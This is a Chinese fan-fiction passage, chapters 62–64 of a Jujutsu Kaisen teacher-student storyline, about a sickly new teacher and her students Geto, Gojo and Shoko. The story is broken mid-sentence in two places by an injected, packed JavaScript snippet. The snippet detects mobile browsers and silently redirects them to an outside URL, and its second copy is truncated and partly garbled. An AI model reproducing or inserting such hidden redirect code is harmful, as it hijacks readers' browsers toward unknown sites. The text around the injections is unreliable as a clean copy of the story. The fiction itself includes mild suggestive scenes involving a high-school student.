海月遥不等他回应,便娓娓道来:“我认为,咒术师的产生主要有两种途径。一是基因遗传,咒术师的结合更易孕育出术师后代,且术式也展现出一定的遗传性,如御三家的祖传术式……” “至于第二种途径,则是咒力浓度。” “从横向视角来看……” “这里存在反向因果的问题……” “再转向纵向分析……” “我甚至还有一个构想……” 一路上,夏油杰被迫听着海月老师的咒力大讲堂。抵达她家门口时,他已两眼发直,大脑胀痛。 头皮好痒,要长脑子了。 等看见那单薄的身影走入门时,他甚至打心底舒了口气,刚想打声招呼就走,却见她扭过头,看向他。 “你不进来吗?” 女人穿着他的制服,身上还滴着水珠。湿漉漉的长发与白皙透明的肌肤,让她宛如传说中蛊惑人心的海妖。可她看上去又没有那样锐利的美感和若隐若现的攻击性,反而给人一种近乎脆弱的柔和。 海月遥并不觉得邀请夏油杰有何不妥。 面对这旖旎的情景,夏油杰心中只有一个念头: ——休息日还要补课吗?! 饶了他吧!!! 62.夏油师生线(四) 淋完雨回到家,第一件事是…… ——照顾小孩子。 “毛巾是新的,夏油君可以放心用。”海月遥自认为是个靠谱的成年人,在家里翻找后,递给他一条毛巾和合适的衣服。 她拉着他,在自己的衣柜里挑出一件宽大到夏油杰穿上也不违和的T恤,在他身上比对后塞给他。 “先换上衣吧,我这边没有适合你的裤子。”她看了一眼他的下身,不过高专制服的防水性还不错,至少那条灯笼裤还很干爽,不像衬衫那样紧贴在他身上。 原本打算送完东西就走的夏油杰:…… 他一手拿着毛巾,一手搭着衣服,呆滞地被她扯来扯去。他不敢抬头看她——回来后,她就直接脱下了他的制服上衣,随手扔进洗衣机。现在站在她身后,他能清楚地看到白裙紧贴着她的身躯,背脊线条流畅,肌肤若隐若现。 这对于一个健全的dk实在是太超过了。 “夏油君?” 老师蓦然转身,向他走去。原本低头的夏油杰,视线中闯入了一抹不应出现的风景。他猛地抬头,正对上那双冷漠的蓝眼睛。女人自然而然地伸出手,轻抚他的额头。 “你脸好红,没事吗?” 没想到夏油君这种大猩猩体质比她还容易生病,年轻人真虚。海月遥不负责任地想,一边把发愣的他推进卫生间:“自己冲个热水澡。” “热水厨房里也有,你洗完澡进去就能看到,自己倒一杯喝。” 做完这些,她觉得自己实在是贴心。便就自己随意挑了套衣服,准备上二楼冲个澡。 …… 微妙。 夏油杰感到此刻的心情异常复杂。 之前还厌恶着这个新老师,这时又被她照顾,甚至还进了她家,现在还要洗完澡穿她的衣服。讨厌对方还接受着对方的好,让他愈发不是滋味。 他的视线从光洁的白瓷地砖移到自己手上的衣服,又想起那黏湿的布料和隐约的肉色…… “啪!” 他冷静下来。 …… 等夏油杰出来时,海月遥已经捧着热茶坐在客厅。虽说他可以自己倒,但她还是贴心地为他准备好了。 她长发半干,披散在肩,低头专注地看着书。纤长的睫毛仿佛被打湿的蝶翼,轻轻颤动,宛如蝴蝶落在娇艳的花瓣上,随着呼吸微微振翅。 听到他这边的声响,她也没抬头,那蓝色的鲸在她眼眶中悄然游动,斜睨他一眼。 “夏油君。”待他在桌斜对角坐下,她轻声开口,“你的外套还在洗。你是想再待一会儿,等我烘干后还你,还是我明天带给你?” “……就麻烦老师明天带给我了。”他低着头,连平时的假笑也没维持。 海月遥知道他讨厌自己,想早点回去也情有可原。但已经厌恶到不愿看见她的脸,连说话都不愿抬头了吗? 真失礼,她好歹也算是三无病弱系美人! 那现在这孩子穿着她的衣服岂不是难受得要吐了?她进行一些离谱的猜想。 真可怜……噗:) 海月遥并无留客之意。她不在乎别人的看法,但也不会热脸贴冷屁股。此刻,她找了把伞递给他,算是尽到了大人的责任,然后爽快地拍了拍他的肩。 “再见!”她的声音清脆有力。 夏油杰:…… 不知为何,他总感觉新老师似乎迫不及待地想送走他。 是错觉……吧? …… 第二天老师却没还他的衣服。 这并非是因为老师故意不还,而是她竟然公然翘课了! 他们端坐在教室里等待,上课铃响起,老师却迟迟未到。 一分钟过去了…… 十分钟过去了…… 半小时过去了…… 哪有人才上几节课就不上了的!必须严厉批评!当然,路过的夜蛾正道也发现他新抓来的老师不见了。 “夜蛾老师,海月老师是……?”最后还是按捺不住的夏油杰起身出去问他。 夜蛾正道本就长着一张能吓哭小孩的脸,此刻更是阴沉如水。他掏出手机拨打电话,却只听到电子合成的女声。 没人接。 夏油杰心中涌起一股不祥的预感。他回想起新老师那不健康的肤色,以及昨天淋的那场大雨。 不会是……生病了? 她免疫力要差到什么程度才会淋这点雨就生病?本就觉得普通人柔弱的夏油杰愈发觉得这位讨人厌的老师脆弱起来。他完全不反思咒术师大部分都是动物界脊索动物门哺乳纲灵长目人科大猩猩属这一事实。 夏油杰将自己的猜想告诉夜蛾正道后,抿着嘴坐回原位,心不在焉地转着笔。 这时,他听到身边两个同期与夜蛾正道的对话:“夜蛾老师,海月老师不在的话,我是不是可以走了?”“不行。”“啧,真小气。”“海月老师是有事来不了吗?”“我会处理。” 夏油杰的思绪却飘向了昨天海月家的景象:那只有女式鞋的鞋柜、只有一把牙刷的洗漱台……她显然是独居。 此刻又联系不上她…… 不过这也不关他的事,他已经告诉夜蛾老师了,之后就不归他管了。 …… 他为什么会在这里? 按了几次门铃也没得到回应的夏油杰懊恼地想,他讪讪地收回手。 他明明对这个草菅人命的疯子心存忌惮,明明这一切也与他无关,甚至要不是他,那女人恐怕还会多淋些雨…… 啊,对了,术师本就是要帮助非术师的。 他找到合适的借口,继续按响门铃。 这次,终于有了回应,但传来的并非那冷淡的女声,而是重物落地的沉闷声响。 “老师……?” 没有回应。 “海月老师?” 依旧沉默。 “海月!” 只有死寂。 夏油杰快速地低声说了句“失礼”,用蛮力打开门,几步冲进去,只见他呼唤的人正躺在地上,双颊泛着不正常的绯红,眼神迷离。 他小心翼翼地将她扶起,试探地唤了几声,又摸了摸她的额头——烫得惊人。夏油杰皱起眉头,他还记得她卧室的位置,抱起她放上床。 怎么成年了都不知道照顾自己?发烧了还只穿着单薄的宽大上衣,客厅的桌子上还有没收拾的酒瓶…… 糟糕的大人。 ……也不知道什么时候喝的酒,能不能吃退烧药?夏油杰还在想。 “……?”夏油杰端来水时,海月遥才缓缓清醒。她一摸到水杯,又迅速缩回了被子里。 夏油杰眼见着这位比自己大十岁的成年人钻进被窝,蜷缩在床的正中央,隆起一团。 “海月老师?” “我要吃冰淇淋!” 夏油杰:…… 有完没完。 哈,就这样还算是大人吗? 她是病人,她是病人,她是病人…… “等老师退烧了再去吃,好不好?”夏油杰按捺住脾气,放柔声音说道。 “布丁!” 夏油杰勉强笑着:“这个也没有准备……” “探望发烧的人,要送冰淇淋和布丁是常识!杰酱不是日本人吗!” (注:日本探望发烧的病人常会送冰淇淋或者布丁,他们认为这些能降温/促进食欲。) 被窝上隆起的一团疯狂蠕动,似乎在强烈抗议。夏油杰怀疑她在对被子拳打脚踢,以此来充分表达对他不识时务的不满。 啊啊,这不是很精神吗? 火大。 就该让她在地板上躺一天。 夏油杰皮笑肉不笑:“只有水,老师不喝我就倒掉了。” “……” 被子怪物安静了。 过了一会儿,那团可疑的物体朝床边蠕动,最终一个毛茸茸的脑袋从床侧探出来。这家伙把被子当成斗篷盖在头上,两只蓝色的眼睛透过缝隙,幽幽地盯着他。打量片刻后,她似乎觉得夏油杰还算可靠,便坐直身子,毫不客气地伸出手:“水。” 夏油杰迅速转头,递过水杯。 他刚才就想说,海月老师睡觉时至少应该穿条裤子吧?此刻,她只穿着一件极为宽松的T恤,下摆勉强遮住大腿根。敞开的领口露出锁骨周围的肌肤,弯腰时更是暴露无遗。 刚才是因为心急担忧没注意,现在看见了,他又觉得这白皙的肌肤亮得晃眼,不敢多看。可就算移开眼,他却还记得刚刚的景色。 夏油杰又想起来昨天打湿的连衣裙。 直到门铃声响起,夏油杰才从这窘迫中挣脱出来。他匆忙回头叮嘱了一句:“睡好了,别下床。”便快步走向门口。 门一开,家入硝子和五条悟站在外面。 “为什么是夏油开门?”/“啊!你这家伙果然丢下我们来找老师!” 他俩的声音同时响起。 夏油杰避而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439368|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不答,心里其实也有些后悔来这里:“……你们怎么在这儿?” “夜蛾老师告诉我们的,说你已经过来了,我们其实可以不用来。”家入硝子耐心解释,又调侃了一句,“不过,夏油,你之前应该认识海月老师吧?” “不,我不认识那家伙。”他假笑着,一字一顿地说。 “随你怎么说。”五条悟扒拉着他的肩膀,往里探头:“海月老师呢?” “发烧了,躺在床上。”夏油杰表情古怪,“今天悟怎么这么积极?” “还不是因为这家伙答应今天和我去打街机。”五条悟不满地撇撇嘴,又补充道,“不过老师打游戏的水平比你高。” 邪恶的白毛在踩一捧一。 明明老师才来一周不是吗?为什么他们关系就好到可以私下约着玩了?夏油杰假笑道:“悟也输了吧?不然怎么会这么急着找场子?” “哈?!你看不起谁?”五条悟不服气。 家入硝子冷冷地插了一句:“那你赢了吗?” “输了。” 落井下石的同期们开始喝倒彩。 在场面混乱前打住,家入硝子一边往屋里走一边问道:“老师现在多少度?” “……不清楚。” “吃药了吗?” “……还没。” “那你早来这么久,都做了些什么?” “……给老师倒了杯水。” 家入硝子投去不屑的目光。 夏油杰隐隐约约期待老师熊给这群不识好歹的同期看。可到了卧室,就见刚刚还处于熊孩子状态的老师安安静静地躺在床上,只露出个脑袋。 这个时候倒是看起来像个天使了。 “杰酱,你回来啦。”她看见他便要起身,“我要吃冰泡芙——” 开什么玩笑!悟还在呢!夏油杰猛地按住她两侧的被子,低声提醒,“衣服!” 老师呆滞地看着他,片刻后恍然大悟:“衣服在衣柜!” 他并不是在玩你问我答的游戏…… “我去拿。”说着她就要掀开被子,夏油杰连忙用手压住。 怎么能让她就这样出来! “咳咳。”家入硝子在他背后咳嗽几声,提醒两人她还在场。从他们的角度看,就像是夏油杰突然冲到床边,撑在老师两侧,这算床咚? 新老师才来一周……夏油果然之前就认识她……她思绪飘散。 “杰,你在干嘛?”五条悟更加不解。 察觉到身下人想要溜出被窝,夏油杰没理会五条悟,直接对家入硝子说:“硝子,麻烦你去老师衣柜里拿条裤子来!” “OK~”家入硝子懒洋洋地答应,但打开衣柜后又愣了几秒,随后面色如常地走回来。 “夏油,你这家伙……” 夏油杰:? 他怎么了? “老师,先穿好衣服再出来,好吗?”夏油杰发誓他已经用上最温柔的声线。当然,效果显著。等从家入硝子手中接过衣物后,海月遥再次钻进了被窝。不久,被子蠕动几下,随后穿戴整齐的女人探出头来。 “衣服在衣柜。”电波系的女人又重复道,也没等夏油杰决定怎么糊弄过去,她就掀开被子,赤足踩在地板上,歪歪扭扭地走向衣柜,然后掏出一套…… ——他的衬衣和制服! 他的衣服在独居老师家的衣柜…… 本就跟在海月遥身后防止她摔倒的夏油杰一时寒毛直竖,感受到背后两道灼热的视线。 他说是误会,那两个同期会信吗? “我已经洗干净了。明明杰酱昨天留下来,今天就能穿上的……” 背后的视线更加紧逼! 夏油杰怀疑剧本已经从他认识老师,发展到他昨天……总之害得身体很差的老师生病。所以他今天才会单独来看她,而没有告诉他们。 “啊,难怪你抛下我们俩,自己来找老师?”五条悟阴阳怪气地说,联想到老师之前衣着不齐的样子,“我不认识这位新老师~~” 家入硝子拍了拍他的肩膀:“咳,五条,有些事看破不说破。” “不,我昨天只是在老师家避雨……”夏油杰的解释显得苍白无力,两人脸上写满了不相信。他无奈地转过头,向正在发烧的海月老师求助,“对吧,海月——” 他的话还没说完,就被新老师抓住本体——怪刘海像风车一样转来转去。 “大风车!” 求您别添乱了!!! 63.夏油师生线(五) 夜蛾老师不会真因为更年期糊涂了吧? 一年级的三人望着眼前大病初愈的海月老师。她依旧穿着衬衣配长裤,没有像其他老师那样换上高专制服。 由于夏季咒灵频发,许多老师都被调去执行任务,只有身为普通人的海月老师闲了下来,被安排代课。 无论是她本职的咒术课程,还是普通高中的文化课,她都完成得相当出色。 海月老师真厉害~ ——但也不能什么课都让她代啊!夜蛾老师,你看她能带实战课吗?三人在心底大喊。 夏日炎炎,烈日高悬。新老师那张常年没有表情的脸此刻也显出了几分不耐,眉心微微蹙起,一手支在额头旁遮挡阳光,脸色似乎都苍白几分。至少夏油杰和家入硝子开始担心她会不会中暑。 “这是我第一次带实战课,所以……”新老师在上课铃响后,语气沉重地开口,“五条君,你有什么问题吗?” “老师,直接让我和杰对打呗~硝子和老师去一旁看着就行~”五条悟双手背在脑后,拉长声音懒洋洋说道,接着又补了一句,“毕竟老师也没什么能教我们的。” 家入硝子能明白五条悟是变相给海月老师解围,但能把关心人的话说得这么扭曲,五条这家伙确实也有一套。 “海月老师要不先去那边的树下坐一会儿?”一旁的夏油杰笑眯眯地提议,同时指着操场旁的绿化树,那里有一排长椅。 虽然他打心底地厌恶这位新老师,但他也没有看着脆弱的普通人老师中暑的想法。 可不知为何,分明只是他平常会说出口的关心人的话,却惹得两位同期同时看了自己一眼。 夏油杰:? 家入硝子的视线在二人间游弋,什么也没说,却又像什么都说了。 “哟,这么关心老师呀,杰酱~”五条悟的语气相当阴阳,夏油杰一瞬间就明白他的意思。“真是好学生~” 夏油杰眯起眼,语气不善:“要现在开始上课吗?悟——” “哈,当然,求之不得。杰酱不会输了找老师要安慰吧?真可怜~~” 所、以、说,他解释很多次了,他俩根本没有除师生以外的任何关系。夏油杰假笑着攥紧拳头,咒力在他背后涌动。 家入硝子见怪不怪,已经做好拉着海月老师及时溜溜球的准备。 “啪!” 海月遥突然拍掌,待众人目光聚焦于她,才缓缓说道:“在开始之前,我想了解一下你们各自的术式。” 除了夏油杰,其他两人都用异样的眼神打量着她。 他们这一届,每个人都是出类拔萃的天才。五条悟拥有独一无二的六眼,夏油杰是几百年一遇的咒灵操使,而家入硝子则是目前唯一具备治疗能力的反转术士。在咒术高专乃至整个咒术界,他们三人都是顶尖的存在。 然而,新老师却对他们的术式一无所知? 夏油杰刚想开口解释,但想到两人那揶揄的眼神,又默默闭上了嘴。最终,还是由其他两人分别介绍了自己的术式。听完解释后,海月遥心中只剩下一个念头: ——原来五条君的墨镜不是个人兴趣啊。 她还以为,以这个孩子的搞怪个性,是特意戴这个像盲人艺术家的小圆镜呢。 “你在想什么?”五条悟总觉得她在想什么很失礼的事情,眯起眼问道。 海月遥面不改色:“我在想五条君的无下限术式,它的作用机理和范围。” “阿格硫斯追乌龟,这么说老师能听懂吗?” 不,到底你是老师还是我是老师?海月遥面无表情地抬头看他。 五条悟笑了笑,似乎误解了什么,他心情颇好地伸出手,晃了晃:“老师,把手给我。” 海月遥:盯—— “快点哦~” 这场景,除了对象是年长他们十岁的老师,还真有点像诱拐。家入硝子心想,同时瞥了一眼身旁的夏油杰。 “是极限收敛吗?”海月遥边说边伸出手,但即将触碰时又似被什么阻挡。 “没错,”五条悟肆意地笑着,“无限趋近于0,却永远不为0。这就是我的术式。” 所以相当于无敌盾?海月遥心想,又问道:“那五条君如果要攻击,是否需要撤销术式?这个时候攻击你是否可行?” “不用撤去术式。” “也就是说,我无法靠近五条君,但你能主动接触我?” “是哟~” “那如果我们同时靠近呢?”海月遥抓住bug,“是会被阻隔还是会接触?”她尝试着用力,依然感到有无形的屏障横亘在两人之间,即便再用力也无济于事。 突然,这股阻力如同雪花遇到阳光般消失,她的指尖触碰到温暖略带薄茧的肌肤。海月遥的手算得上修长纤细,骨节分明,可即便如此,她的指尖也只是抵在他的第一指节下,五条悟下意识地弯了弯手指,半攥着她的手。 但他不在意,反而说道:“看来是后者。” 海月遥也未放在心上,又若有所思地追问:“那如果是毒素、热量之类的攻击,五条君的‘无下限’能阻挡吗?” “嘛,这个嘛……” 就在两人有来有回地探讨无下限时,家入硝子支着下巴,转头问夏油杰:“夏油,你不在意吗?已经牵上手了。” “我跟老师真的不是你们想的那种关系。”夏油杰有些无奈,“这只是正常的教学活动而已。” “哦,好像摸到脸了。”家入硝子看着夏油杰突然抬头,慢悠悠地补充,“开玩笑的。” “硝子……” “抱歉啦~” 她的道歉听起来毫无诚意。 而且这不是很在意吗?夏油的性格也很别扭嘛。她心想,往两人的方向走去。她过去时,他们还在探讨无下限的防御问题。 “……那声波呢?如果是能对人体耳膜造成损伤的超高分贝音波,又或者带有催眠等效果的声音,五条君的无下限术式能防御吗?” “再比如视觉冲击。”海月遥的余光扫到另外两位学生,“比如夏油君穿着女仆装,在你面前跳起阳光海岸摇摆草裙舞?” 夏油杰:? 五条悟神色凝重:“那我的六眼恐怕会遭受无法挽回的伤害。” 夏油杰:??? “为什么要拿我做比喻,海月老师?”他勉强挤出一丝笑容,问道。若非对面是老师,或许他已经给她一个爆栗。 因为她还蛮中意家入硝子的。海月遥心想。所以只能拿另外一位做比喻了。 “老师,我们什么时候开始上课啊——”家入硝子拖长声音问道。“现在是上课时间哦。” “那我们现在就开始吧。”海月遥摆摆手,“这是我第一次带实战课,我想先了解一下你们的水平。主要看看你们的格斗技巧和咒力运用。”她完全不理会底下三人的窃窃私语,“你们谁先来都行,按照你们说的对打方式也可以。” “老师,我也要参加吗?”家入硝子迟疑地问道。 “抱歉,我是男女平等的类型。”海月遥语气冷淡,“家入桑不也是咒术师吗?” 夏油杰解释道:“硝子是反转术士。” “那又怎样?”海月遥追问,“她不需要出任务吗?” 所以她根本不会上前线。家入硝子心想。就算会出任务,身边也会有五条悟和夏油杰。 五条悟插话:“我们会保护硝子的啦——” “家入桑也是这么想的吗?”海月遥转头问家入硝子,“反转术式说到底只是咒力的一种应用技巧。你也有咒力,也能强化自己的身体。” 家入硝子先是一阵沉默,随后轻松地笑道:“大家都这么想。而且,老师,我不用执行祓除咒灵的任务哦?” “你只用负责治疗吗?”海月遥问。 “是的。”家入硝子回答。 “是吗?”新老师说,“从工具的角度来讲,这确实是收益最大化。” 家入硝子面色不变,剩下的两人表情却明显阴沉下来。 “那麻烦五条君和夏油君先对打一场,我来看看你们的水平。”海月遥不再坚持。 “哈,那老师你可得躲远点。”五条悟长长地哈了口气,嘴角勾起一抹近乎狂妄的笑容,“被砸到可别怪我哦。” “要是不小心伤到老师可就麻烦了。”夏油杰身后黑雾翻涌,空气中弥漫着一股若有若无的阴湿气息。受两人凝滞咒力的影响,原本炽烈的太阳都在打颤,直射下来的光线忽明忽暗。 尽管如此,当海月遥安然坐在操场外的长椅上时,她还是发现这个距离并不安全。当家入硝子旋身踢开一块朝她飞来的石块时,她低声骂了句“笨蛋”,然后转头对海月遥说:“老师,还是去更安全的地方吧。” “家入桑学过格斗吗?”海月遥毫不在意地交叠着双腿,若有所思地问。 “学过一些防身的技巧。” “刚刚的水平可不止是防身那么简单。” “……老师,我也是咒术师。” “我明白了。”海月遥点了点头,又问,“他们两个平时上实战课也是这样吗?” 家入硝子望向一片狼藉的操场,低头看着依旧平静的新老师。 “嗯,毕竟他们是两个笨蛋。” 所以会想要替她出气。 “以前也跟现在一样胡闹。” “硝子你这家伙!我听得到!”头顶上方传来五条悟的大喊声,“说谁笨蛋呢!明明只有杰才是吧!” 黑雾中的巨型咒灵猛然涌出,扑向转身的五条悟,带起一阵腥风。 “杰,你偷袭!” “战斗中分心可不好哦,悟~” 两人斗着嘴打起来。 “以前也这样?”海月遥瞟了一眼神情自若的家入硝子,意味不明地反问。 “嗯。” “毕竟是上课,我也不能什么都不教家入桑。”海月遥站起身,斑驳树影在她玉白的脸颊上摇曳,那双蓝色眼眸愈发耀眼。“你了解黑闪的原理吗?” “当物理攻击与咒力冲击近乎同时发生时,会产生的空间扭曲现象。”家入硝子迅速回答。 “没错,这是一种类似共鸣的现象。”海月遥走近她,不知何时,右手中已握着一把通体银白的枪。“有些咒具,外形看上去只是普通的武器,却可以发挥出超越数倍的力量,也是类似的原理。咒具中的术式与咒力,在运作时多次碰撞共鸣,从而将伤害倍增。” 她毫不犹豫地将枪递到家入硝子手中,指尖轻触她手腕上的脉搏:“会开枪吗?” 家入硝子摇头。 海月遥弯弯眼,露出极浅的笑意,几乎是一闪而过,连家入硝子都在想是不是自己一时被那双蓝眼睛晃了神,才产生这样的错觉。 “没关系,老师会教你。” 新老师轻声讲解着射击要领,同时伸手调整家入硝子的握枪姿势。 家入硝子非常聪明,只听了一遍就明白该怎么做。然而,当她试探性地举起枪时,却被老师半拥住。老师比她略高一些,当她转过头,能看到女人的侧脸半倚在她的肩侧,却并未真正触碰。一只微凉的手顺着她的手臂缓缓前移,最终轻轻抚上了她的手背。 老师甚至没有看向她,只是神情专注地看向正前方,淡淡提醒:“手要伸直,不然容易被弹壳伤到。” “别看我,集中注意力。”老师突然开口说道,手依然搭在家入硝子的手背上,没有松开,“现在,注入你的咒力。” “不要太多,但要足够平缓,而且集中在一点。”在海月遥说话时,家入硝子感受到一种温暖的能量从两人接触的地方传来,引导着她体内的咒力有序流动。 “老师?”家入硝子轻声唤道。 “嘘。” 她牵引着家入硝子将准心对准操场中央,详细讲解瞄准的技巧。 或许是“集中注意力”的叮嘱起了作用,或许是背后老师胸膛中那平稳的心跳给她力量,又或许是老师注入的能量让她心无旁骛,家入硝子的杂念消失了,看不到眼前横飞的碎石,听不见上面两人互放的垃圾话,也感受不到老师指尖被她体温捂热的温度。此刻,她所有的意识都紧紧捕捉着耳畔那冷淡而清晰的声线。 “硝子,你知道人与猴子的最大区别是什么?”家入硝子没注意到对方改变了称呼,或许她觉得这是理所当然的,全神贯注地倾听着对方的话。 “——是使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“地上的深坑是怎么回事?悟,杰,你们又打架了吗?”夜蛾正道面色阴沉。这两人三天一小吵,五天一大闹,学校多处已不知重建了多少回,操场更是首当其冲。 眼前的惨状,无疑又是他们的“杰作”。 在场的某成年人觉得不能让学生背黑锅,主动站出来:“夜蛾君,这只是上课的基础损耗,而且……” 她走上前理论,还没被揍的三人敬佩地看着海月老师的背影。 …… 靠谱的海月老师跪在地上,头顶鼓起一个大包,神情萎靡地道歉:“对不起……” “谁跟你说实战课会这样的?!”夜蛾正道真是操心极了,本来就要与高层周旋,让学校的孩子们少接点危险任务,回到学校发现家被这群二货孩子拆了。为了学校经费,又要去和那群老头子老婆子扯皮…… 他仿佛一瞬间苍老十岁。 “夜蛾老师,你下手太重了。” 出乎意料的是,家入硝子首先开口,她扶起跪在地上的海月老师,轻抚她的发顶,治愈着刚刚被揍出的伤痕。海月老师像是找到了依靠,紧紧抱住她,头埋在她的颈肩。那毛茸茸的触感让家入硝子不禁缩了缩脖子,她又看向夜蛾正道,义正言辞:“海月老师只是想让我们变得更强,而且她刚来,还不了解情况。” “就是就是!夜蛾老师下手太重,把老师打出问题怎么办?”五条悟也支棱起来“笨蛋已经够多了,可不能再多一个。” 装痛的海月遥攥紧拳头。 夏油杰抿起唇,想起那天淋点雨就发烧的海月老师,担忧地看她一眼又克制地收回视线。或许新老师在他心中的形象已经接近于易碎的瓷娃娃,轻轻一碰,那白瓷般的脸庞就会出现裂纹。他温声说道:“老师只是普通人,不能像对我们一样对老师。而且这件事我和悟也有责任。” 同时,他心底又生出疑惑:这样的老师,会是残忍杀害47人的凶手吗?明明连夜蛾正道对待她也跟对待其他人别无一二。 被三个学生指责的夜蛾正道:怪我咯? 新老师刚到一周多,学生们就都“叛变”了!这究竟是人性的扭曲还是道德的沦丧? 他黑着脸说:“这次的维修费用,我会从你的工资里扣一部分。” “我有工资?”海月遥连装痛都忘了,惊讶地抬起头。 老师,你原来是在打白工吗? “你是我正规聘请的老师,怎么会有没工资的道理。高专又不是什么黑心机构。”夜蛾正道叹了口气,不想再看到这几个让人头疼的学生,“我不打扰你继续上课了。记住,别再搞破坏了!” “是~”三人齐声应答。 …… 待夜蛾正道走后,夏油杰瞟了一眼还赖在家入硝子怀里的海月遥,蹙着眉问道:“老师,是还很痛吗?” 海月遥不说话,蹭蹭家入硝子的脖子。 “有烟味。”她突然开口。 “真糟糕,被老师发现了。”话是这么说,家入硝子身体依旧是放松状态,她一搭一搭地顺着抚摸海月遥柔顺的黑色长发,“老师要向夜蛾老师告发我吗?” “会对身体有影响吗?” “我有反转术式。” “那就没关系。”海月遥从她怀中抬起头,微微拉开距离,“既然硝子帮我保守秘密,我也同样不会说出来。” 家入硝子想起来刚才一如太阳的能量,笑了笑,没说话。 秘密?什么秘密? 五条悟的视线在二人间徘徊,又看向一旁抿唇的夏油杰,不知道在脑补什么,表情越来越精彩。 “对了老师,这个还你。”家入硝子递过枪,却没被海月遥接过。 “送你了。” “不,这个是很贵重的——”家入硝子深知这种威力的咒具在咒术界有市无价。 “你能很好地发挥它的作用。”新老师揉了揉她的发顶,“如果上面的老家伙逼你做不乐意的事情,拿枪抵着他的额头就行。” “人类无法脱离社会存在,但咒术界远远称不上一个小社会,只不过是稍微大些的团体。只要你够强,他们就不能逼迫你做任何事。”海月老师轻描淡写地说着大逆不道的话,“谁反对就揍谁,揍到服为止。” 一旁的夏油杰笑得无奈:“不,老师,这有点……” “对嘛,就该这样!”五条悟倒是相当赞同。 可海月遥看着他俩,只是叹了口气,慢吞吞说道:“五条君和夏油君还是乖孩子。” “哈?!你说什么!”“悟,冷静点……” 在与两人嬉笑拌嘴间,海月遥转头看向低头轻抚枪支的家入硝子。 “而且,我还挺喜欢你的,硝子。” 她笑着说道。 64.夏油师生线(六) 海月老师好像不太喜欢他。 夏油杰敏锐地察觉到这一点。 尽管那位黑发女人总是显得冷淡,仿佛要将人拒之门外,但她会低头温柔地呼唤“硝子”,也会答应五条悟课外的邀请。 然而,对于夏油杰,除了最初那一周他们互动还算频繁外,自从她发烧痊愈后,他们几乎没有单独交谈过。即使有对话,也只是出于课程需要或日常礼节性的打招呼。那声亲昵的“杰酱”,他上次听到还是在她烧糊涂的那天。现在,她对他的称呼只是礼貌而客气的“夏油君”。 当然,夏油杰认为海月遥的反应情有可原,毕竟是他先表现出了讨厌的态度。 他回想起夜蛾正道几次含蓄的提醒。他们的班主任虽然外表粗犷,但心思细腻。那句“正规聘请”,无疑也是在提醒他。新老师只是一个普通人,他为何会因为她几句话就对她心存戒备? 夏油杰不否认拥有强大咒具的老师具备一定的武力值,但从目前的相处来看,她并不像她口中所描述的那样残忍。甚至在她体质那么差时,淋雨后的她第一时间还是关心他。 夏油杰有些后悔。 …… “——等等,老师!” 下课后,海月遥刚踏出教室门,夏油杰的声音就从背后传来。他几步追上来,而那位一向苍白单薄的老师没有言语,只是转过头,静静地等待他的下文。 夏油杰露出一抹笑容,将手中的袋子递给她:“老师,我刚从长崎出任务回来,这是那边的特产。因为不知道老师的口味,所以每样都带了一点。” 海月遥疑惑地看着他手中的袋子,视线又移到他的眼睛上,不解地注视着他。 夏油杰明白自己的举动有些突兀,笑着解释:“之前受了老师的照顾,所以……”他的话被身后的嘈杂声打断,两个同期的学生在那边起哄,五条悟的嘘声最大,而家入硝子则笑着打趣:“夏油,只有老师有吗?” 夏油杰无奈地转过头,皮笑肉不笑地说:“你们的在我抽屉里。” 随着一声“好耶”,伪装成他同期的人形蝗虫立刻翻出他带回来的伴手礼。 夏油杰扯着笑,提着袋子的手因恼火而攥紧。袖管卷起,手臂上绷起的肌肉线条和隐约可见的青筋清晰可辨。感受到对面投来的视线,他转过头,低头看向正等待他的老师,声音柔和了几分:“老师,收下吧。” 海月遥其实并不想收,但看着眼前充满期待的学生,沉默片刻后示意他跟上。 直到坐在办公室椅子上,她才对夏油杰说出了第一个字:“坐。” 夏油杰不明所以,坐在她办公桌对面的椅子上。他并不拘谨,随手将东西放在桌上,支着下巴看着对面的老师。女人没有抬头,像以前那样翻开桌上的一本书,只是这次迟迟没有翻页。 屋内一片寂静,无人说话,也无人有额外的动作。 夏油杰的目光在屋内扫视一圈后,最终停在低头看书的老师身上。他的紫色眼瞳落在对面女人苍白的面颊上,又顺着往下滑,注意到点缀着小痣的纤长脖颈和挺直如青竹的单薄脊背。 不知为何,他脑海中浮现出湿漉漉的白色和滚动着水珠的肌肤,不自在地抿起唇,移开视线。 …… 他到底还要看多久? 海月遥还没有粗神经到能忽视对面灼灼视线的程度。她不冷不热地掀起眼皮,便和一直看向这边的学生对上眼。 几下闪烁后,浅薄的红在眼尾晕染开,如同尾鱼在水中飘逸的尾鳍。她的注视让水面波动,鱼像是受了惊,轻盈游开,学生也随之低下头。 她明白了。 学生突然送礼,红着耳尖欲言又止的模样,又时不时偷看她…… 就是为了这个吧——给老师送礼,希望得到额外指导,从而取得好成绩!海月遥表情凝重。她看了不少书,对这些桥段了然于胸。 在时间被进一步拉长前,她面无表情地抬头问道:“夏油君,没有想要对我说的话吗?” 等他说了,就拒绝他。海月遥暗下决心。 …… 他有什么要说的?夏油杰一时茫然。他原本以为老师有话要说,可叫来后,老师却一直保持沉默,对他冷处理。不过,之后也没什么要紧事,加上心底隐约的愧疚感,他也就没有太在意。 老师原本低头看书,此刻视线从书页上移开,直直地看向他。 “我……”他欲言又止。他不知道该说什么,也不至于为了心底的愧疚感而道歉,那样显得太突兀,没头没尾。 沉默持续得太久,让原本安静等待的老师也按捺不住。 “哗啦——”转椅滑开的声音传来。 紧接着,几声清脆的脚步声后,她轻盈地走到他身前,弯下腰,探出手,微凉的手背触碰到他的额头,让他发烫的大脑稍微冷静下来。他抬眼,与那双清透的蓝瞳目光交汇。 